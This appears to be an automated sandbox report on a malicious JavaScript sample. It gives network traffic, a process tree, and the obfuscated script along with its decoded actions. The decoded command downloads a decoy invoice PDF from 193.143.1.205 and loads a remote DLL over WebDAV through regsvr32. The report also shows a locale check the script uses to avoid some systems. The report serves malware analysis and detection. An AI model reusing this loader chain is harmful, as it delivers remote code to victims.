Jan 11, 2025 03:08:30.700941086 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.700999022 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.734886885 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.734932899 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.734950066 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.734977961 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.735052109 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.735081911 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.735096931 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.735112906 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.735127926 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.735145092 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.735152006 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.735167980 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.735335112 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.735358953 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.735441923 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.737742901 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.737776995 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.737792969 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.737840891 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.737840891 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.737926960 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.737943888 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.738023043 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.738065958 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.738081932 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.738203049 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.738210917 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.738225937 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.738240957 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.738255024 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.738274097 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.738277912 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.738295078 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.738511086 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.738527060 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.738543987 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.738557100 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.738687992 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.793735981 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.967643976 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:32.317173004 CET	49708	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:32.325014114 CET	8888	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:32.325098991 CET	49708	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:32.328835964 CET	49708	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:32.333837032 CET	8888	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:33.138045073 CET	8888	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:33.184284925 CET	49708	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:33.257658958 CET	49708	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:08:40.228281975 CET	60424	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:08:40.228281975 CET	192.168.2.7	1.1.1.1	0x870f	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:08:40.235573053 CET	1.1.1.1	192.168.2.7	0x870f	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:08:40.615070105 CET	1.1.1.1	192.168.2.7	0x2f7c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:08:40.615070105 CET	1.1.1.1	192.168.2.7	0x2f7c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:08:54.721338987 CET	1.1.1.1	192.168.2.7	0xb7c4	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:08:54.721338987 CET	1.1.1.1	192.168.2.7	0xb7c4	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	193.143.1.205	80	7004	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:08:29.035224915 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:08:29.831861019 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:08:29 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:08:29.831892014 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:08:29.831908941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 03:08:29.831958055 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 03:08:29.831974030 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 03:08:29.832067966 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 03:08:29.832084894 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 03:08:29.832192898 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 03:08:29.832207918 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 03:08:29.832223892 CET	328	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 11, 2025 03:08:29.836736917 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49708	193.143.1.205	8888	568	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:08:32.328835964 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:08:33.138045073 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:08:33 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:08:22
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1231561673271419181.js"
Imagebase:	0x7ff78e2c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:08:23
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll
Imagebase:	0x7ff70f010000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:08:23
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:08:23
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	21:08:30
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	21:08:31
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff70f010000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	21:08:31
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff61c5d0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	21:08:32
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	21:08:32
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	21:08:32
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1604,i,4207102740180000195,8117244266209756694,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function fdfbt() {	fdfbt() ➔ undefined
1	qdritii = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var tjjvzogl = this[gslacw + ekxayslld + xlhaizgdi + yochuo + mzgmckxhp + qbdqa + cdtxzn + ahialzh] ( this[jwujdef + jcsac + uflnkgvd + xlhaizgdi + euxckwhs + gslacw + ahialzh][lqrykenq + xlhaizgdi + mzgmckxhp + ekxayslld + ahialzh + mzgmckxhp + oitmswh + dakxth + jjxopgjlq + mzgmckxhp + uflnkgvd + ahialzh] ( jwujdef + jcsac + uflnkgvd + xlhaizgdi + euxckwhs + gslacw + ahialzh + bqahhoo + jcsac + nqugi + mzgmckxhp + yrujphgk + yrujphgk ) [kaskgx + mzgmckxhp + mphsdfa + kaskgx + mzgmckxhp + ekxayslld + kfevfldlv] ( yxjjbdnr + akfymdnjn + poplgiya + wldlw + fnfpj + lqrykenq + hylety + kaskgx + kaskgx + poplgiya + msffn + xoyarerg + fnfpj + hylety + jcsac + poplgiya + kaskgx + odhhl + lqrykenq + blwngseyo + cdtxzn + ahialzh + xlhaizgdi + blwngseyo + yrujphgk + jjbzdsqfh + tfklhmj + ekxayslld + cdtxzn + mzgmckxhp + yrujphgk + odhhl + qbdqa + cdtxzn + ahialzh + mzgmckxhp + xlhaizgdi + cdtxzn + ekxayslld + ahialzh + euxckwhs + blwngseyo + cdtxzn + ekxayslld + yrujphgk + odhhl + kyxyku + blwngseyo + uflnkgvd + ekxayslld + yrujphgk + mzgmckxhp ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jafyymo = 0 ; jafyymo < qdritii[yrujphgk + mzgmckxhp + cdtxzn + mphsdfa + ahialzh + nqugi] ; ++ jafyymo )
4	{
5	if ( tjjvzogl == qdritii[jafyymo] )
6	{
7	tjjvzogl = true;
8	break ;
9	}
10	}
11	if ( tjjvzogl !== true )
12	this[jwujdef + jcsac + uflnkgvd + xlhaizgdi + euxckwhs + gslacw + ahialzh][gtlwtwm + jqnzln + euxckwhs + ahialzh] ( );
13	this[jwujdef + jcsac + uflnkgvd + xlhaizgdi + euxckwhs + gslacw + ahialzh][lqrykenq + xlhaizgdi + mzgmckxhp + ekxayslld + ahialzh + mzgmckxhp + oitmswh + dakxth + jjxopgjlq + mzgmckxhp + uflnkgvd + ahialzh] ( jwujdef + jcsac + uflnkgvd + xlhaizgdi + euxckwhs + gslacw + ahialzh + bqahhoo + jcsac + nqugi + mzgmckxhp + yrujphgk + yrujphgk ) [xlhaizgdi + jqnzln + cdtxzn] ( uflnkgvd + gsweo + kfevfldlv + jjbzdsqfh + frqsd + uflnkgvd + jjbzdsqfh + gslacw + blwngseyo + efrvugqvx + mzgmckxhp + xlhaizgdi + yochuo + nqugi + mzgmckxhp + yrujphgk + yrujphgk + bqahhoo + mzgmckxhp + qbfuo + mzgmckxhp + jjbzdsqfh + jsfkcuofz + lqrykenq + blwngseyo + gsweo + gsweo + ekxayslld + cdtxzn + kfevfldlv + jjbzdsqfh + jpwtbnm + qbdqa + cdtxzn + jehkkrre + blwngseyo + zauap + mzgmckxhp + jsfkcuofz + jwujdef + mzgmckxhp + dakxth + kaskgx + mzgmckxhp + drjmyjeyh + jqnzln + mzgmckxhp + yochuo + ahialzh + jjbzdsqfh + jsfkcuofz + oitmswh + jqnzln + ahialzh + emxcnotxm + euxckwhs + yrujphgk + mzgmckxhp + jjbzdsqfh + gqnhdn + ahialzh + mzgmckxhp + gsweo + gslacw + gqnhdn + odhhl + euxckwhs + cdtxzn + jehkkrre + blwngseyo + euxckwhs + uflnkgvd + mzgmckxhp + bqahhoo + gslacw + kfevfldlv + kgjhqylmr + jjbzdsqfh + nqugi + ahialzh + ahialzh + gslacw + juoglmofc + frqsd + frqsd + mfbgah + rxsbhlfo + zddoy + bqahhoo + mfbgah + sgvrnn + zddoy + bqahhoo + mfbgah + bqahhoo + rnkucgt + dgkbtokgj + nlagcfcq + frqsd + euxckwhs + cdtxzn + jehkkrre + blwngseyo + euxckwhs + uflnkgvd + mzgmckxhp + bqahhoo + gslacw + nqugi + gslacw + jpwtbnm + pcbxtrbkp + pcbxtrbkp + yochuo + ahialzh + ekxayslld + xlhaizgdi + ahialzh + jjbzdsqfh + gqnhdn + ahialzh + mzgmckxhp + gsweo + gslacw + gqnhdn + odhhl + euxckwhs + cdtxzn + jehkkrre + blwngseyo + euxckwhs + uflnkgvd + mzgmckxhp + bqahhoo + gslacw + kfevfldlv + kgjhqylmr + pcbxtrbkp + pcbxtrbkp + uflnkgvd + gsweo + kfevfldlv + jjbzdsqfh + frqsd + uflnkgvd + jjbzdsqfh + cdtxzn + mzgmckxhp + ahialzh + jjbzdsqfh + jqnzln + yochuo + mzgmckxhp + jjbzdsqfh + odhhl + odhhl + mfbgah + rxsbhlfo + zddoy + bqahhoo + mfbgah + sgvrnn + zddoy + bqahhoo + mfbgah + bqahhoo + rnkucgt + dgkbtokgj + nlagcfcq + ptafa + ywimdr + ywimdr + ywimdr + ywimdr + odhhl + kfevfldlv + ekxayslld + jehkkrre + efrvugqvx + efrvugqvx + efrvugqvx + xlhaizgdi + blwngseyo + blwngseyo + ahialzh + odhhl + pcbxtrbkp + pcbxtrbkp + uflnkgvd + gsweo + kfevfldlv + jjbzdsqfh + frqsd + uflnkgvd + jjbzdsqfh + xlhaizgdi + mzgmckxhp + mphsdfa + yochuo + jehkkrre + xlhaizgdi + zddoy + rnkucgt + jjbzdsqfh + frqsd + yochuo + jjbzdsqfh + odhhl + odhhl + mfbgah + rxsbhlfo + zddoy + bqahhoo + mfbgah + sgvrnn + zddoy + bqahhoo + mfbgah + bqahhoo + rnkucgt + dgkbtokgj + nlagcfcq + ptafa + ywimdr + ywimdr + ywimdr + ywimdr + odhhl + kfevfldlv + ekxayslld + jehkkrre + efrvugqvx + efrvugqvx + efrvugqvx + xlhaizgdi + blwngseyo + blwngseyo + ahialzh + odhhl + pecipnann + sgvrnn + pecipnann + ywimdr + rnkucgt + sgvrnn + dgkbtokgj + mfbgah + ywimdr + sgvrnn + ywimdr + sgvrnn + rxsbhlfo + bqahhoo + kfevfldlv + yrujphgk + yrujphgk, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll",0,false) ➔ 0
14	}
15	kgjhqylmr = "j";
16	kgjhqylmr = "G";
17	kgjhqylmr = "f";
18	msffn = "v";
19	msffn = "L";
20	msffn = "P";
21	msffn = "D";
22	msffn = "o";
23	msffn = "d";
24	msffn = "w";
25	msffn = "C";
26	msffn = "y";
27	msffn = "I";
28	msffn = "F";
29	msffn = "f";
30	msffn = "A";
31	msffn = "k";
32	msffn = "P";
33	msffn = "N";
34	msffn = "B";
35	msffn = "l";
36	msffn = "Z";
37	msffn = "k";
38	msffn = "M";
39	msffn = "Q";
40	msffn = "E";
41	msffn = "i";
42	msffn = "o";
43	msffn = "S";
44	msffn = "z";
45	msffn = "O";
46	msffn = "S";
47	msffn = "u";
48	msffn = "I";
49	msffn = "f";
50	msffn = "G";
51	msffn = "I";
52	msffn = "N";
53	jcsac = "e";
